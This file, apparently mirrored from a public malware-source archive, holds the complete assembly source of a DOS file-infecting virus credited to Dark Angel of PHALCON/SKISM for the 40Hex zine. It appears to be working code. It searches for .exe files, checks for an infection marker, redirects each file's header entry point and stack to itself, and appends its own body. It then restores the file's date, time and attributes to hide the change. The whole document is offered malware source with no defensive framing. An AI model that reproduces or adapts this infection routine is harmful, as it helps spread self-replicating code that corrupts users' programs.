mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
187 lines
6.7 KiB
NASM
187 lines
6.7 KiB
NASM
|
.model tiny ; Handy TASM directive
|
||
|
|
.code ; Virus code segment
|
||
|
|
org 100h ; COM file starting IP
|
||
|
|
; Cheesy EXE infector
|
||
|
|
; Written by Dark Angel of PHALCON/SKISM
|
||
|
|
; For 40Hex Number 8 Volume 2 Issue 4
|
||
|
|
id = 'DA' ; ID word for EXE infections
|
||
|
|
|
||
|
|
startvirus: ; virus code starts here
|
||
|
|
call next ; calculate delta offset
|
||
|
|
next: pop bp ; bp = IP next
|
||
|
|
sub bp,offset next ; bp = delta offset
|
||
|
|
|
||
|
|
push ds
|
||
|
|
push es
|
||
|
|
push cs ; DS = CS
|
||
|
|
pop ds
|
||
|
|
push cs ; ES = CS
|
||
|
|
pop es
|
||
|
|
lea si,[bp+jmpsave2]
|
||
|
|
lea di,[bp+jmpsave]
|
||
|
|
movsw
|
||
|
|
movsw
|
||
|
|
movsw
|
||
|
|
movsw
|
||
|
|
|
||
|
|
mov ah,1Ah ; Set new DTA
|
||
|
|
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
lea dx,[bp+exe_mask]
|
||
|
|
mov ah,4eh ; find first file
|
||
|
|
mov cx,7 ; any attribute
|
||
|
|
findfirstnext:
|
||
|
|
int 21h ; DS:DX points to mask
|
||
|
|
jc done_infections ; No mo files found
|
||
|
|
|
||
|
|
mov al,0h ; Open read only
|
||
|
|
call open
|
||
|
|
|
||
|
|
mov ah,3fh ; Read file to buffer
|
||
|
|
lea dx,[bp+buffer] ; @ DS:DX
|
||
|
|
mov cx,1Ah ; 1Ah bytes
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,3eh ; Close file
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
|
||
|
|
jnz infect_exe
|
||
|
|
find_next:
|
||
|
|
mov ah,4fh ; find next file
|
||
|
|
jmp short findfirstnext
|
||
|
|
done_infections:
|
||
|
|
mov ah,1ah ; restore DTA to default
|
||
|
|
mov dx,80h ; DTA in PSP
|
||
|
|
pop es
|
||
|
|
pop ds ; DS->PSP
|
||
|
|
int 21h
|
||
|
|
mov ax,es ; AX = PSP segment
|
||
|
|
add ax,10h ; Adjust for PSP
|
||
|
|
add word ptr cs:[si+jmpsave+2],ax
|
||
|
|
add ax,word ptr cs:[si+stacksave+2]
|
||
|
|
cli ; Clear intrpts for stack manip.
|
||
|
|
mov sp,word ptr cs:[si+stacksave]
|
||
|
|
mov ss,ax
|
||
|
|
sti
|
||
|
|
db 0eah ; jmp ssss:oooo
|
||
|
|
jmpsave dd ? ; Original CS:IP
|
||
|
|
stacksave dd ? ; Original SS:SP
|
||
|
|
jmpsave2 dd 0fff00000h ; Needed for carrier file
|
||
|
|
stacksave2 dd ?
|
||
|
|
|
||
|
|
creator db '[MPC]',0,'Dark Angel of PHALCON/SKISM',0
|
||
|
|
virusname db '[DemoEXE] for 40Hex',0
|
||
|
|
|
||
|
|
infect_exe:
|
||
|
|
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
|
||
|
|
mov word ptr [bp+jmpsave2], ax
|
||
|
|
mov word ptr [bp+jmpsave2+2], es
|
||
|
|
|
||
|
|
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
|
||
|
|
mov word ptr [bp+stacksave2], es
|
||
|
|
mov word ptr [bp+stacksave2+2], ax
|
||
|
|
|
||
|
|
mov ax, word ptr [bp+buffer + 8] ; Get header size
|
||
|
|
mov cl, 4 ; convert to bytes
|
||
|
|
shl ax, cl
|
||
|
|
xchg ax, bx
|
||
|
|
|
||
|
|
les ax, [bp+offset newDTA+26]; Get file size
|
||
|
|
mov dx, es ; to DX:AX
|
||
|
|
push ax
|
||
|
|
push dx
|
||
|
|
|
||
|
|
sub ax, bx ; Subtract header size from
|
||
|
|
sbb dx, 0 ; file size
|
||
|
|
|
||
|
|
mov cx, 10h ; Convert to segment:offset
|
||
|
|
div cx ; form
|
||
|
|
|
||
|
|
mov word ptr [bp+buffer+14h], dx ; New entry point
|
||
|
|
mov word ptr [bp+buffer+16h], ax
|
||
|
|
|
||
|
|
mov word ptr [bp+buffer+0Eh], ax ; and stack
|
||
|
|
mov word ptr [bp+buffer+10h], id
|
||
|
|
|
||
|
|
pop dx ; get file length
|
||
|
|
pop ax
|
||
|
|
|
||
|
|
add ax, heap-startvirus ; add virus size
|
||
|
|
adc dx, 0
|
||
|
|
|
||
|
|
mov cl, 9 ; 2**9 = 512
|
||
|
|
push ax
|
||
|
|
shr ax, cl
|
||
|
|
ror dx, cl
|
||
|
|
stc
|
||
|
|
adc dx, ax ; filesize in pages
|
||
|
|
pop ax
|
||
|
|
and ah, 1 ; mod 512
|
||
|
|
|
||
|
|
mov word ptr [bp+buffer+4], dx ; new file size
|
||
|
|
mov word ptr [bp+buffer+2], ax
|
||
|
|
|
||
|
|
push cs ; restore ES
|
||
|
|
pop es
|
||
|
|
|
||
|
|
mov cx, 1ah
|
||
|
|
finishinfection:
|
||
|
|
push cx ; Save # bytes to write
|
||
|
|
xor cx,cx ; Clear attributes
|
||
|
|
call attributes ; Set file attributes
|
||
|
|
|
||
|
|
mov al,2
|
||
|
|
call open
|
||
|
|
|
||
|
|
mov ah,40h ; Write to file
|
||
|
|
lea dx,[bp+buffer] ; Write from buffer
|
||
|
|
pop cx ; cx bytes
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ax,4202h ; Move file pointer
|
||
|
|
xor cx,cx ; to end of file
|
||
|
|
cwd ; xor dx,dx
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,40h ; Concatenate virus
|
||
|
|
lea dx,[bp+startvirus]
|
||
|
|
mov cx,heap-startvirus ; # bytes to write
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ax,5701h ; Restore creation date/time
|
||
|
|
mov cx,word ptr [bp+newDTA+16h] ; time
|
||
|
|
mov dx,word ptr [bp+newDTA+18h] ; date
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ah,3eh ; Close file
|
||
|
|
int 21h
|
||
|
|
|
||
|
|
mov ch,0
|
||
|
|
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||
|
|
call attributes ; attributes
|
||
|
|
|
||
|
|
mo_infections: jmp find_next
|
||
|
|
|
||
|
|
open:
|
||
|
|
mov ah,3dh
|
||
|
|
lea dx,[bp+newDTA+30] ; filename in DTA
|
||
|
|
int 21h
|
||
|
|
xchg ax,bx
|
||
|
|
ret
|
||
|
|
|
||
|
|
attributes:
|
||
|
|
mov ax,4301h ; Set attributes to cx
|
||
|
|
lea dx,[bp+newDTA+30] ; filename in DTA
|
||
|
|
int 21h
|
||
|
|
ret
|
||
|
|
|
||
|
|
exe_mask db '*.exe',0
|
||
|
|
heap: ; Variables not in code
|
||
|
|
newDTA db 42 dup (?) ; Temporary DTA
|
||
|
|
buffer db 1ah dup (?) ; read buffer
|
||
|
|
endheap: ; End of virus
|
||
|
|
|
||
|
|
end startvirus
|